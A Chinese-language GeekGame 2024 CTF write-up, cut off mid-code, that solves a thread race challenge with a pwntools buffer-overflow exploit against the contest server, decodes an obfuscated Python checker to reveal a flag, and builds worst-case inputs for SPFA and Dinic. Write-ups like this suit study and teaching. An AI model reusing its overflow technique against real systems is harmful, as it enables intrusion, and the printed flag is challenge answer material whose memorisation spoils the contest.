GeekGame 2024 题解 (三)
AI摘要Kimi Chat
本文是GeekGame 2024题解的第三部分。
Fast Or Clever
查看题面
本挑战中，你不仅是个黑客，更是个赛车手。
你将展现杰出的控制能力，去控制赛场的设定。你将发挥挑战的精神，改变看似必然的失败。你在线程交替中抢夺时间，更快到达 Flag 所在的终点。
So, are you fast enough… or clever enough… for this challenge?
题目已经说的很清楚了，要通过在线程交替中抢夺时间，来拿到flag。
拿到文件，用ida64打开：
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+4h] [rbp-1Ch]
pthread_t newthread; // [rsp+8h] [rbp-18h] BYREF
pthread_t th[2]; // [rsp+10h] [rbp-10h] BYREF
th[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts(
"for racecar drivers, there are two things to hope for: one is that you drive fast enough, and the other is that the "
"opponent is slow enough.");
puts("Brave and clever contestant, win the race to get the flag!");
fd = open("/flag", 0);
read(fd, flag_buf, 0x30uLL);
printf("please enter the size to output your flag: ");
__isoc99_scanf("%d", &size);
puts("please enter the content to read to buffer (max 0x100 bytes): ");
read(0, &p, 0x104uLL);
sleep(1u);
pthread_create(&newthread, 0LL, do_output, 0LL);
pthread_create(th, 0LL, get_thread2_input, &p);
pthread_join(newthread, 0LL);
pthread_join(th[0], 0LL);
return 0;
}发现程序先后创建了两个线程，第一个线程函数：
void *__fastcall do_output(void *a1)
{
void *result; // rax
if ( size <= 4 )
{
if ( size > 0 )
{
if ( (int)strlen(flag_buf) <= 48 )
{
usleep(usleep_time);
puts("copying the flag...");
memcpy(output_buf, flag_buf, size);
puts(output_buf);
}
else
{
puts("what happened?");
}
result = 0LL;
}
else
{
puts("invalid output size!!");
result = 0LL;
}
}
else
{
puts("output size is too large");
result = 0LL;
}
return result;
}发现当前面main函数里输入的size变量不大于4时，可以输出flag的前size个字符。那岂不是没什么用？
来看第二个线程函数：
void *__fastcall get_thread2_input(void *a1)
{
puts("please enter the size to read to the buffer:");
__isoc99_scanf("%d", &size);
if ( size <= 49 )
{
memcpy(&buf, a1, size);
puts("input success!\n");
}
else
{
puts("the size read to the buffer is too large");
}
return 0LL;
}发现这个线程里，我们可以修改前面的全局变量size。所以思路就是先让第一个线程通过if ( size <= 4 )这条判断，然后趁它usleep(usleep_time);的时候，进入第二个线程把size改了，就能拿到flag。
但难道这题就那么简单吗？我试了一下发现直接去get_thread2_input改size并不能成功，后来用gdb调试了一下，发现usleep_time的值是0。
怪不得！
然后看能不能想办法把usleep_time覆盖了，观察了一下栈结构，发现变量p的地址是0x8060，而usleep_time的地址是0x8160，p位于低地址，且地址相差0x100，而我们可以往p写入的字节数是：read(0, &p, 0x104uLL); 0x104，大于两者的地址差值，于是可以通过栈溢出去覆盖usleep_time。这样一来，就很容易写出payload了，exp如下：
from pwn import *
token = 'TOKEN'
offset_to_usleep_time = 0x100
new_usleep_time = 1000000
payload = b'A' * offset_to_usleep_time
payload += p32(new_usleep_time)
r = remote('prob11.geekgame.pku.edu.cn', 10011)
r.sendlineafter(b'Please input your token: ', token.encode())
r.sendlineafter(b'please enter the size to output your flag: ', b'4').decode()
r.sendlineafter(b'please enter the content to read to buffer (max 0x100 bytes): ', payload).decode()
r.sendlineafter(b'please enter the size to read to the buffer:', b'49').decode()
print(r.recvall().decode())这道题是我在正式比赛中成功利用栈溢出解出的第一个逆向题，是一个比较大的突破！（虽然真的很简单）
从零开始学Python
查看题面
杰弗里·辛顿 (Geoffrey Hinton)，在 2018 年因其在深度学习方面的贡献，获得了图灵奖这一计算机领域内的最富盛名的奖项。 2024 年他获得了诺贝尔物理学奖，以表彰在使用人工神经网络实现机器学习方面奠基性发现和发明。 他表示自己完全没有想到这样的事情会发生。
荒诞的世界变得更加荒诞，也许未来某一天，计算机科学也将不复存在！
2991 年，距离 Python 发布已经过去了 1000 年。
小 Y 在一台历史悠久的电脑上找到了一个尘封已久的程序，好像是个特殊的校验器。 程序在几百年后的电脑上已经无法运行，但是电脑上遗留的一些实验日志记录了一些蛛丝马迹。
众所周知，Python 的 random 库可以生成伪随机数。
曾经的一个科学家写下了这一份代码，尝试从随机的混乱中找到一丝秩序。 但是有神秘力量稳定了混乱的随机数，让程序失去了随机性，实验获得了一个稳定且非常好的结果。
请尝试通过这份程序复现实验：
- 源码中遗留的隐藏信息 —— Flag 1
- 影响随机数的神秘力量 —— Flag 2
- 科学家获得的实验结果 —— Flag 3
注意：请关注程序运行的每一步，不经意的遗漏都可能导致你功亏一篑。
既然是用Python打包的可执行文件，那就用Pyinstxtractor这个工具来反编译一下（这里得去Linux系统下反编译，不然似乎拿不到PYZ-00.pyz_extracted这个目录下的文件，没法做后面两个flag）
源码中遗留的隐藏信息
从反编译的结果中找到一个pymaster.pyc，再用decompyle3反编译拿到文件内容：
# decompyle3 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.15 (main, Nov 4 2022, 16:35:55) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: pymaster.py
import marshal, random, base64
if random.randint(0, 65535) == 54830:
exec(marshal.loads(base64.b64decode(b'YwAAAAAAAAAAAAAAAAAAAAAFAAAAQAAAAHMwAAAAZABaAGUBZAGDAWUCZQNkAoMBZAODAmUCZQNkBIMBZAWDAmUAgwGDAYMBAQBkBlMAKQdztAQAAGVKekZWMTFQMnpBVWZhL1UvMkN5bDBSanlCV3NiR2g3R0N2ZFlCMHBHNkFGeEt5MGRkdWdORUg1Z0VRVC8zMTIzQ1NPN1RSdDBiUlVhdFBjYzI5OGo0K3ZyNTNGZ3g5RUlMQzlpYjlvdHh6MmQyU0h1SHZRYnJWYnI4RFV0V2NkOEJGbzlPWlA2c2ZvVTdDUG9xOG42THY5OHhJSHlPeWpvWFU0aDk2elJqM2FyYkZyaHlHd0oyZGZnc3RmcG5WKzFHNEJjazN3RkNEa2VFNkVrRjVZaDd2QUpGZjJEWTBsbEY0bFlvOEN5QWpvVDUwZE1qdXNzVVBxZis1N1dHMkhacE1kRm5aRmhxUFZHZFprZFVvdUxtb2VvSXhhSWFtNDkvbHdUM1BIeFp5TnBickRvbkk0ZWpsVEViZ2tSb21XUENoTzhpZkVLZnlFUkl0YlR4Y0NHTEl2ZGtQVlVPcENYamVFeEM1SlFwZmpOZWVsOFBFbUV0VXFaM1VFUTVIVldpVFZNYlVOdzF2VEFWOU1COXlPRG1tQ042SGpuNm5qNVhSc3FZNm1qT3I4bW9XaFhIYmJydUoxaDY0b2U5ZVZzcGZ3eEtTa1hDWUMvVWxlblZPQlZUS3o3RkZOT1dUR2ZHOUl1TGNVejdLYlNzUmtWY21VYTN0YUFqS3BKZFF6cWEyZG5FVjBsbWFueE1JcU5zMzlrd3BKTEtWVVNibTNCdVdtUUxtWlV3NWx5dUVxeXVGL3BSeXVTK05LeWswRjVYQWp5cE5OT2lCU2hiaDJTdWZRQ25ETWd4a3RKVXJaQ1FsTlJGd3plMHZmRWllMUYxbWY5b0ZEWkozYnFySlNHV3lzcUl0TmRVa09vR29CODNJTUpIVnRwSzB5bmlDeVplTExBaStsek10R0hVTktrbGVseWtWVllMbUcwVGRZbzFyUjNBVnZYNzR2SlBGSG1zYitWUHM5V1FVaGVFM1FhWVJEL2JiQ0xSbm03K1VaWW8vK09GNmt3MTBBazM3ZnVET0VBTXJ4WlBTc2pjeUZIK0FvRGp3UUtwSk5TNWY3UEZtMWF1NjVOU0t0anpYV3hvcDFRUWlWV2VrWVZIQmlJVnB2U1NpVTByd1V1RXc1clJRN3NFQmNUNWZvdXVjamovUmkzeTZlelFuQThSN2lTTmVHTGlhSFI0QzlDQWNnbXVQcy9IZ0V0TUtKY09KaWJzZVpHNVRUL1M2WDFrTkFxZEl1Z3hUWU05dnhkalJPR1d6T1pjSE9iNC9lM3RGUTdLQ3FBVC9nalc4NnpQaXNiZm9pOW1US2h4dVFiTG5ncXByTmNaM29uQWo4aFc3c2tyRk5TZ1lHaHNHL0JkSGdCRHJET2t3NlVMMGxWT1F0elljRDFJdUhTZDBRMEZlMEJtUW4vcjFSOTJDQ3gvNEU2OXJoeWRqOVlRMVB6YkQzT0lpdGI3M2hZSGpqd0xQUndEcCtQN3J3MzMyKzZibjl4NmRqQ3g2T3crNXBUaDAvSjA2bEE3NlNtYmY4R016OHFCREtmakVEZ3RLVk0wVS9EajF5ZS9ZQ0kwUmZwaUcwSUdhRU5GSEVQYXJidjV1T0tGVT3aBGV4ZWPaBHpsaWLaCmRlY29tcHJlc3PaBmJhc2U2NNoJYjY0ZGVjb2RlTikE2gRjb2Rl2gRldmFs2gdnZXRhdHRy2gpfX2ltcG9ydF9fqQByCQAAAHIJAAAA2gDaCDxtb2R1bGU+AQAAAHMKAAAABAEGAQwBEP8C/w==')))
# okay decompiling pymaster.pyc
咦，为什么明明只有1/65536的概率才能运行，但实际每次都能运行的起来？当时我并没有深究原因，而是继续解码下去，这里先写个脚本把marshal load出来的代码导出成一个pyc文件：
import importlib, sys
code = marshal.loads(base64.b64decode(b'YwAAAAAAAAAAAAAAAAAAAAAFAAAAQAAAAHMwAAAAZABaAGUBZAGDAWUCZQNkAoMBZAODAmUCZQNkBIMBZAWDAmUAgwGDAYMBAQBkBlMAKQdztAQAAGVKekZWMTFQMnpBVWZhL1UvMkN5bDBSanlCV3NiR2g3R0N2ZFlCMHBHNkFGeEt5MGRkdWdORUg1Z0VRVC8zMTIzQ1NPN1RSdDBiUlVhdFBjYzI5OGo0K3ZyNTNGZ3g5RUlMQzlpYjlvdHh6MmQyU0h1SHZRYnJWYnI4RFV0V2NkOEJGbzlPWlA2c2ZvVTdDUG9xOG42THY5OHhJSHlPeWpvWFU0aDk2elJqM2FyYkZyaHlHd0oyZGZnc3RmcG5WKzFHNEJjazN3RkNEa2VFNkVrRjVZaDd2QUpGZjJEWTBsbEY0bFlvOEN5QWpvVDUwZE1qdXNzVVBxZis1N1dHMkhacE1kRm5aRmhxUFZHZFprZFVvdUxtb2VvSXhhSWFtNDkvbHdUM1BIeFp5TnBickRvbkk0ZWpsVEViZ2tSb21XUENoTzhpZkVLZnlFUkl0YlR4Y0NHTEl2ZGtQVlVPcENYamVFeEM1SlFwZmpOZWVsOFBFbUV0VXFaM1VFUTVIVldpVFZNYlVOdzF2VEFWOU1COXlPRG1tQ042SGpuNm5qNVhSc3FZNm1qT3I4bW9XaFhIYmJydUoxaDY0b2U5ZVZzcGZ3eEtTa1hDWUMvVWxlblZPQlZUS3o3RkZOT1dUR2ZHOUl1TGNVejdLYlNzUmtWY21VYTN0YUFqS3BKZFF6cWEyZG5FVjBsbWFueE1JcU5zMzlrd3BKTEtWVVNibTNCdVdtUUxtWlV3NWx5dUVxeXVGL3BSeXVTK05LeWswRjVYQWp5cE5OT2lCU2hiaDJTdWZRQ25ETWd4a3RKVXJaQ1FsTlJGd3plMHZmRWllMUYxbWY5b0ZEWkozYnFySlNHV3lzcUl0TmRVa09vR29CODNJTUpIVnRwSzB5bmlDeVplTExBaStsek10R0hVTktrbGVseWtWVllMbUcwVGRZbzFyUjNBVnZYNzR2SlBGSG1zYitWUHM5V1FVaGVFM1FhWVJEL2JiQ0xSbm03K1VaWW8vK09GNmt3MTBBazM3ZnVET0VBTXJ4WlBTc2pjeUZIK0FvRGp3UUtwSk5TNWY3UEZtMWF1NjVOU0t0anpYV3hvcDFRUWlWV2VrWVZIQmlJVnB2U1NpVTByd1V1RXc1clJRN3NFQmNUNWZvdXVjamovUmkzeTZlelFuQThSN2lTTmVHTGlhSFI0QzlDQWNnbXVQcy9IZ0V0TUtKY09KaWJzZVpHNVRUL1M2WDFrTkFxZEl1Z3hUWU05dnhkalJPR1d6T1pjSE9iNC9lM3RGUTdLQ3FBVC9nalc4NnpQaXNiZm9pOW1US2h4dVFiTG5ncXByTmNaM29uQWo4aFc3c2tyRk5TZ1lHaHNHL0JkSGdCRHJET2t3NlVMMGxWT1F0elljRDFJdUhTZDBRMEZlMEJtUW4vcjFSOTJDQ3gvNEU2OXJoeWRqOVlRMVB6YkQzT0lpdGI3M2hZSGpqd0xQUndEcCtQN3J3MzMyKzZibjl4NmRqQ3g2T3crNXBUaDAvSjA2bEE3NlNtYmY4R016OHFCREtmakVEZ3RLVk0wVS9EajF5ZS9ZQ0kwUmZwaUcwSUdhRU5GSEVQYXJidjV1T0tGVT3aBGV4ZWPaBHpsaWLaCmRlY29tcHJlc3PaBmJhc2U2NNoJYjY0ZGVjb2RlTikE2gRjb2Rl2gRldmFs2gdnZXRhdHRy2gpfX2ltcG9ydF9fqQByCQAAAHIJAAAA2gDaCDxtb2R1bGU+AQAAAHMKAAAABAEGAQwBEP8C/w=='))
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)
print(pyc_data)
with open('file.pyc', 'wb') as f:
f.write(pyc_data)然而这个pyc，我用decompyle3反编译失败了，但我又找了个在线网站来反编译它，得到：
code = b'eJzFV11P2zAUfa/U/2Cyl0RjyBWsbGh7GCvdYB0pG6AFxKy0ddugNEH5gEQT/3123CSO7TRt0bRUatPcc298j4+vr53Fgx9EILC9ib9otxz2d2SHuHvQbrVbr8DUtWcd8BFo9OZP6sfoU7CPoq8n6Lv98xIHyOyjoXU4h96zRj3arbFrhyGwJ2dfgstfpnV+1G4Bck3wFCDkeE6EkF5Yh7vAJFf2DY0llF4lYo8CyAjoT50dMjussUPqf+57WG2HZpMdFnZFhqPVGdZkdUouLmoeoIxaIam49/lwT3PHxZyNpbrDonI4ejlTEbgkRomWPChO8ifEKfyERItbTxcCGLIvdkPVUOpCXjeExC5JQpfjNeel8PEmEtUqZ3UEQ5HVWiTVMbUNw1vTAV9MB9yODmmCN6Hjn6nj5XRsqY6mjOr8moWhXHbbruJ1h64oe9eVspfwxKSkXCYC/UlenVOBVTKz7FFNOWTGfG9IuLcUz7KbSsRkVcmUa3taAjKpJdQzqa2dnEV0lmanxMIqNs39kwpJLKVUSbm3BuWmQLmZUw5lyuEqyuF/pRyuS+NKyk0F5XAjypNNOiBShbh2SufQCnDMgxktJUrZCQlNRFwze0vfEie1F1mf9oFDZJ3bqrJSGWysqItNdUkOoGoB83IMJHVtpK0yniCyZeLLAi+lzMtGHUNKklelykVVYLmG0TdYo1rR3AVvX74vJPFHmsb+VPs9WQUheE3QaYRD/bbCLRnm7+UZYo/+OF6kw10Ak37fuDOEAMrxZPSsjcyFH+AoDjwQKpJNS5f7PFm1au65NSKtjzXWxop1QQiVWekYVHBiIVpvSSiU0rwUuEw5rRQ7sEBcT5fouucjj/Ri3y6ezQnA8R7iSNeGLiaHR4C9CAcgmuPs/HgEtMKJcOJibseZG5TT/S6X1kNAqdIugxTYM9vxdjROGWzOZcHOb4/e3tFQ7KCqAT/gjW86zPisbfoi9mTKhxuQbLngqprNcZ3onAj8hW7skrFNSgYGhsG/BdHgBDrDOkw6UL0lVOQtzYcD1IuHSd0Q0Fe0BmQn/r1R92CCx/4E69rhydj9YQ1PzbD3OIitb73hYHjjwLPRwDp+P7rw332+6bn9x6djCx6Ow+5pTh0/J06lA76Smbf8GMz8qBDKfjEDgtKVM0U/Dj1ye/YCI0RfpiG0IGaENFHEParbv5uOKFU='
eval('exec')(getattr(__import__('zlib'), 'decompress')(getattr(__import__('base64'), 'b64decode')(code)))把这段base64解码成人话，得到：
import random
import base64
# flag1 = "flag{you_Ar3_tHE_MaSTer_OF_PY7h0n}"
class adJGrTXOYN:
def __init__(adJGrTXOYP, OOOO, OOO0):
adJGrTXOYP.OOOO = OOOO
adJGrTXOYP.OOO0 = OOO0
adJGrTXOYP.OO0O = None
adJGrTXOYP.O0OO = None
adJGrTXOYP.O0O0 = None
class adJGrTXOYb:
def __init__(adJGrTXOYP):
adJGrTXOYP.IIII = None
def adJGrTXOYb(adJGrTXOYP, adJGrTXOYo):
while adJGrTXOYo.OO0O != None:
if adJGrTXOYo.OO0O.OO0O == None:
if adJGrTXOYo == adJGrTXOYo.OO0O.O0OO:
adJGrTXOYP.adJGrTXOYn(adJGrTXOYo.OO0O)
else:
adJGrTXOYP.adJGrTXOYV(adJGrTXOYo.OO0O)
elif (
adJGrTXOYo == adJGrTXOYo.OO0O.O0OO
and adJGrTXOYo.OO0O == adJGrTXOYo.OO0O.OO0O.O0OO
):
adJGrTXOYP.adJGrTXOYn(adJGrTXOYo.OO0O.OO0O)
adJGrTXOYP.adJGrTXOYn(adJGrTXOYo.OO0O)
elif (
adJGrTXOYo == adJGrTXOYo.OO0O.O0O0
and adJGrTXOYo.OO0O == adJGrTXOYo.OO0O.OO0O.O0O0
):
adJGrTXOYP.adJGrTXOYV(adJGrTXOYo.OO0O.OO0O)
adJGrTXOYP.adJGrTXOYV(adJGrTXOYo.OO0O)
elif (
adJGrTXOYo == adJGrTXOYo.OO0O.O0O0
and adJGrTXOYo.OO0O == adJGrTXOYo.OO0O.OO0O.O0OO
):
adJGrTXOYP.adJGrTXOYV(adJGrTXOYo.OO0O)
adJGrTXOYP.adJGrTXOYn(adJGrTXOYo.OO0O)
else:
adJGrTXOYP.adJGrTXOYn(adJGrTXOYo.OO0O)
adJGrTXOYP.adJGrTXOYV(adJGrTXOYo.OO0O)
def adJGrTXOYV(adJGrTXOYP, x):
y = x.O0O0
x.O0O0 = y.O0OO
if y.O0OO != None:
y.O0OO.OO0O = x
y.OO0O = x.OO0O
if x.OO0O == None:
adJGrTXOYP.IIII = y
elif x == x.OO0O.O0OO:
x.OO0O.O0OO = y
else:
x.OO0O.O0O0 = y
y.O0OO = x
x.OO0O = y
def adJGrTXOYn(adJGrTXOYP, x):
y = x.O0OO
x.O0OO = y.O0O0
if y.O0O0 != None:
y.O0O0.OO0O = x
y.OO0O = x.OO0O
if x.OO0O == None:
adJGrTXOYP.IIII = y
elif x == x.OO0O.O0O0:
x.OO0O.O0O0 = y
else:
x.OO0O.O0OO = y
y.O0O0 = x
x.OO0O = y
def adJGrTXOYx(adJGrTXOYP, OOOO, OOO0):
adJGrTXOYo = adJGrTXOYN(OOOO, OOO0)
adJGrTXOYu = adJGrTXOYP.IIII
OO0O = None
while adJGrTXOYu != None:
OO0O = adJGrTXOYu
if OOOO < adJGrTXOYu.OOOO:
adJGrTXOYu = adJGrTXOYu.O0OO
else:
adJGrTXOYu = adJGrTXOYu.O0O0
adJGrTXOYo.OO0O = OO0O
if OO0O == None:
adJGrTXOYP.IIII = adJGrTXOYo
elif OOOO < OO0O.OOOO:
OO0O.O0OO = adJGrTXOYo
else:
OO0O.O0O0 = adJGrTXOYo
adJGrTXOYP.adJGrTXOYb(adJGrTXOYo)
def adJGrTXOYQ(adJGrTXOYo):
s = b""
if adJGrTXOYo != None:
s += bytes([adJGrTXOYo.OOO0 ^ random.randint(0, 0xFF)])
s += adJGrTXOYQ(adJGrTXOYo.O0OO)
s += adJGrTXOYQ(adJGrTXOYo.O0O0)
return s
def adJGrTXOYy(adJGrTXOYj):
adJGrTXOYu = adJGrTXOYj.IIII
OO0O = None
while adJGrTXOYu != None:
OO0O = adJGrTXOYu
if random.randint(0, 1) == 0:
adJGrTXOYu = adJGrTXOYu.O0OO
else:
adJGrTXOYu = adJGrTXOYu.O0O0
adJGrTXOYj.adJGrTXOYb(OO0O)
def adJGrTXOYD():
adJGrTXOYj = adJGrTXOYb()
adJGrTXOYh = input("Please enter the flag: ")
if len(adJGrTXOYh) != 36:
print("Try again!")
return
if adJGrTXOYh[:5] != "flag{" or adJGrTXOYh[-1] != "}":
print("Try again!")
return
for adJGrTXOYL in adJGrTXOYh:
adJGrTXOYj.adJGrTXOYx(random.random(), ord(adJGrTXOYL))
for _ in range(0x100):
adJGrTXOYy(adJGrTXOYj)
adJGrTXOYi = adJGrTXOYQ(adJGrTXOYj.IIII)
adJGrTXOYU = base64.b64decode("7EclRYPIOsDvLuYKDPLPZi0JbLYB9bQo8CZDlFvwBY07cs6I")
if adJGrTXOYi == adJGrTXOYU:
print("You got the flag3!")
else:
print("Try again!")
if __name__ == "__main__":
adJGrTXOYD()这就得到了flag1。
影响随机数的神秘力量
这题想了很久，一开始想着既然flag1都在最后解出来那个文件里了，那么后面两个flag应该也是围绕这个文件来解。
我先把上面的代码pretty了一下：
import random
import base64
# flag1 = "flag{you_Ar3_tHE_MaSTer_OF_PY7h0n}"
class TreeNode:
def __init__(self, key, value):
self.key = key
self.value = value
self.parent = None
self.left = None
self.right = None
class BinaryTree:
def __init__(self):
self.root = None
def balance_tree(self, node):
while node.parent is not None:
if node.parent.parent is None:
if node == node.parent.left:
self.rotate_right(node.parent)
else:
self.rotate_left(node.parent)
elif (
node == node.parent.left
and node.parent == node.parent.parent.left
):
self.rotate_right(node.parent.parent)
self.rotate_right(node.parent)
elif (
node == node.parent.right
and node.parent == node.parent.parent.right
):
self.rotate_left(node.parent.parent)
self.rotate_left(node.parent)
elif (
node == node.parent.right
and node.parent == node.parent.parent.left
):
self.rotate_left(node.parent)
self.rotate_right(node.parent)
else:
self.rotate_right(node.parent)
self.rotate_left(node.parent)
def rotate_left(self, node):
right_child = node.right
node.right = right_child.left
if right_child.left is not None:
right_child.left.parent = node
right_child.parent = node.parent
if node.parent is None:
self.root = right_child
elif node == node.parent.left:
node.parent.left = right_child
else:
node.parent.right = right_child
right_child.left = node
node.parent = right_child
def rotate_right(self, node):
left_child = node.left
node.left = left_child.right
if left_child.right is not None:
left_child.right.parent = node
left_child.parent = node.parent
if node.parent is None:
self.root = left_child
elif node == node.parent.right:
node.parent.right = left_child
else:
node.parent.left = left_child
left_child.right = node
node.parent = left_child
def insert(self, key, value):
new_node = TreeNode(key, value)
current_node = self.root
parent_node = None
while current_node is not None:
parent_node = current_node
if key < current_node.key:
current_node = current_node.left
else:
current_node = current_node.right
new_node.parent = parent_node
if parent_node is None:
self.root = new_node
elif key < parent_node.key:
parent_node.left = new_node
else:
parent_node.right = new_node
self.balance_tree(new_node)
def traverse_and_encode(node):
result = b""
if node is not None:
result += bytes([node.value ^ random.randint(0, 0xFF)])
result += traverse_and_encode(node.left)
result += traverse_and_encode(node.right)
return result
def random_tree_balance(binary_tree):
current_node = binary_tree.root
random_node = None
while current_node is not None:
random_node = current_node
if random.randint(0, 1) == 0:
current_node = current_node.left
else:
current_node = current_node.right
binary_tree.balance_tree(random_node)
def main():
tree = BinaryTree()
flag = input("Please enter the flag: ")
if len(flag) != 36:
print("Try again!")
return
if flag[:5] != "flag{" or flag[-1] != "}":
print("Try again!")
return
for c in flag:
tree.insert(random.random(), ord(c))
for _ in range(0x100):
random_tree_balance(tree)
x = traverse_and_encode(tree.root)
y = base64.b64decode("7EclRYPIOsDvLuYKDPLPZi0JbLYB9bQo8CZDlFvwBY07cs6I")
if x == y:
print("You got the flag3!")
else:
print("Try again!")发现是一个二叉树然后各种随机插入节点然后旋转什么的，然而我发现最后形成的树的结构是完全随机的，遍历节点时与节点的value进行异或运算的值也是完全随机的，并且都与我输入的flag毫无关系，这我要如何控制输出的结果恰好就是那一串东西？于是我卡了很久没做这题。
后来我又开始思考为什么程序每次都能运行起来这件事，我想到可能一开始反编译出来的random.pyc文件里可能有点东西，于是把它拖进了前面那个网页，搜索flag发现：
原来竟是如此！没想到这flag2居然比flag1藏的浅。
科学家获得的实验结果
既然有了随机种子，那后面所有的随机数都是确定的了，从而形成的二叉树结构、异或的值也都是确定的数，我们都不需要去研究这个树的插入、旋转都在干些什么事了，拿flag3也不废催飞滋力。
第一步先确定最后生成的树的结构，我们随便输入一个flag：
flag{1234567890!@#$%^&*():[];uvwxyz}把下面函数里的异或去掉：
def traverse_and_encode(node):
result = b""
if node is not None:
result += bytes([node.value])
result += traverse_and_encode(node.left)
result += traverse_and_encode(node.right)
return result根据得到的result，就确定了树的形状。
接下来只要存下每次异或的数，从最后的结果反推回去就行。
打破复杂度
查看题面
众所周知，复杂度的计算是复杂的。
小 Y 最近在学习图论，老师教了他如何计算图论算法的复杂度。
但是他发现平时使用这些算法的时候，情况有所不同，它们大多都运行得非常快，时常优于其理论复杂度。
于是，长久以来，他变得相信可以“一招鲜，吃遍天”，直到有一天……
和毒瘤出题人签订契约，卡掉 SPFA 和 Dinic 算法吧。
补充说明：
- 请上传符合代码要求的输入格式的原始输入文件，不需要打包成压缩包。输入长度限制为 200KB。
- 如果提示 “Internal System Error” 或 “Runtime Error” 可能是因为程序的 assert 没有通过，请检查输入格式；如果提示 “Time Limit Exceeded” 可能是因为输入不完整（例如输入末尾缺少回车），导致程序卡在
cin。
作为一个从没打过ACM比赛的菜狗，我甚至都没听说过这两个算法。不过现在听说过了
关于SPFA—它死了
最短路径快速算法 (Shortest Path Faster Algorithm, SPFA)，一般也被称为带有队列优化的 Bellman-Ford 算法。
相较于 Bellman-Ford 算法，SPFA 的最坏复杂度和其一致为O(|V||E|)
但是在实际使用中，在很多情况下，SPFA 的速度远优于其最坏复杂度。
请尝试让 SPFA 达到其理论最坏复杂度 (使代码中的计数器超过 2e6)。
SPFA Algorithm
// SPFA algorithm
#include <assert.h>
#include <iostream>
#include <list>
#include <queue>
#include <vector>
using namespace std;
const int MAXN = 2000;
const int MAXM = 8000;
const int MAXW = 1e9;
struct edge {
int to, cost;
};
list<edge> E[MAXN + 1];
long long ops = 0;
void spfa(int n, int m, int start, int end) {
vector<int> dist(n + 1, MAXW + 1);
vector<bool> vis(n + 1, false);
queue<int> q;
dist[start] = 0;
vis[start] = true;
q.push(start);
while (!q.empty()) {
int u = q.front();
q.pop();
vis[u] = false;
for (edge e : E[u]) {
int v = e.to, w = e.cost;
ops++;
if (dist[v] > dist[u] + w) {
dist[v] = dist[u] + w;
if (!vis[v]) {
vis[v] = true;
q.push(v);
}
}
}
}
cout << dist[end] << endl;
}
int main(int argc, char *argv[]) {
int n, m, s, t;
cin >> n >> m >> s >> t;
assert(1 <= n && n <= MAXN);
assert(1 <= m && m <= MAXM);
long long sum = 0;
for (int i = 0; i < m; i++) {
int u, v, w;
cin >> u >> v >> w;
sum += w;
assert(1 <= u && u <= n);
assert(1 <= v && v <= n);
assert(1 <= w && w <= MAXW);
assert(1 <= sum && sum <= MAXW);
assert(u != v);
E[u].push_back({v, w});
E[v].push_back({u, w});
}
spfa(n, m, s, t);
cerr << ops << endl;
}「如何卡掉SPFA」在国内各种算法相关的论坛上讨论挺多的，不过这题有所限制：不能有负权边、不能有自环，我直接搜到一篇：「笔记」如何优雅地卡 Spfa。把文中提供的构造数据的代码改成了Python版本：
# https://www.cnblogs.com/luckyblock/p/14317096.html
import random
import time
class Edge:
def __init__(self, u, v, w):
self.u = u
self.v = v
self.w = w
def main():
n = 3 # number of rows
m = 2000 // n # number of columns
ids = [[0 for _ in range(m + 1)] for _ in range(n + 1)] # matrix to hold node IDs
a = [0] * 1000000 # large array to hold node mappings
v = [] # list to store all edges
tp = 0 # counter for total nodes
SIZE = 29989 # max random size for edge weights
random.seed(time.time())
for i in range(1, n + 1):
for j in range(1, m + 1):
tp += 1
ids[i][j] = tp
a[tp] = tp
for i in range(1, n + 1):
for j in range(1, m + 1):
if i < n:
v.append(Edge(ids[i][j], ids[i + 1][j], 1))
v.append(Edge(ids[i + 1][j], ids[i][j], 1))
if j < m:
v.append(Edge(ids[i][j], ids[i + 1][j + 1], random.randint(10, SIZE + 10)))
if j < m:
v.append(Edge(ids[i][j], ids[i][j + 1], random.randint(10, SIZE + 10)))
v.append(Edge(ids[i][j + 1], ids[i][j], random.randint(10, SIZE + 10)))
print(f"Number of nodes: {tp}, Number of edges: {len(v)}")
random.shuffle(v)
with open("spfa_input.txt", "w") as f:
f.write(f"{tp} {len(v)} 1 {tp}\n")
for edge in v:
f.write(f"{a[edge.u]} {a[edge.v]} {edge.w}\n")
if __name__ == "__main__":
main()Dinic并非万能
Dinic 算法是在网络流计算最大流的强多项式复杂度的算法。
类似于复杂度为 O(|V||E|^2)的 Edmonds–Karp 算法，Dinic 算法的复杂度为 O(|V|^2|E|)
但是在大多数网络建模下，Dinic 的速度远优于其最坏复杂度。
请尝试让 Dinic 达到其理论最坏复杂度 (使代码中的计数器超过 1e6)。
Dinic's algorithm
// Dinic's algorithm
#include <assert.h>
#include <iostream>
#include <list>
#include <queue>
#include <vector>
using namespace std;
const int MAXN = 100;
const int MAXM = 5000;
const int MAXW = 1e9;
struct edge {
int to, cap;
edge *rev;
};
list<edge> E[MAXN + 1];
long long ops = 0;
int dfs(int u, int t, int limit, vector<int> &dis) {
if (u == t || !limit)
return limit;
int res = limit;
for (edge &e : E[u]) {
int v = e.to, w = e.cap;
ops++;
if (w && dis[v] == dis[u] + 1) {
int flow = dfs(v, t, min(res, w), dis);
e.cap -= flow;
e.rev->cap += flow;
res -= flow;
}
}
if (res == limit)
dis[u] = MAXW + 1;
return limit - res;
}
void dinic(int n, int m, int s, int t) {
int flow = 0;
while (true) {
vector<int> dis(n + 1, MAXW + 1);
queue<int> q;
dis[s] = 0;
q.push(s);
while (!q.empty()) {
int u = q.front();
q.pop();
for (edge e : E[u]) {
int v = e.to, w = e.cap;
ops++;
if (w && dis[v] > dis[u] + 1) {
dis[v] = dis[u] + 1;
q.push(v);
}
}
}
if (dis[t] == MAXW + 1)
break;
flow += dfs(s, t, MAXW + 1, dis);
}
cout << flow << endl;
}
int main(int argc, char *argv[]) {
int n, m, s, t;
cin >> n >> m >> s >> t;
assert(1 <= n && n <= MAXN);
assert(1 <= m && m <= MAXM);
assert(1 <= s && s <= n);
assert(1 <= t && t <= n);
long long sum = 0;
for (int i = 0; i < m; i++) {
int u, v, c;
cin >> u >> v >> c;
sum += c;
assert(1 <= u && u <= n);
assert(1 <= v && v <= n);
assert(1 <= c && c <= MAXW);
assert(1 <= sum && sum <= MAXW);
assert(u != v);
edge e1 = {v, c, nullptr};
edge e2 = {u, 0, nullptr};
E[u].push_back(e1);
E[v].push_back(e2);
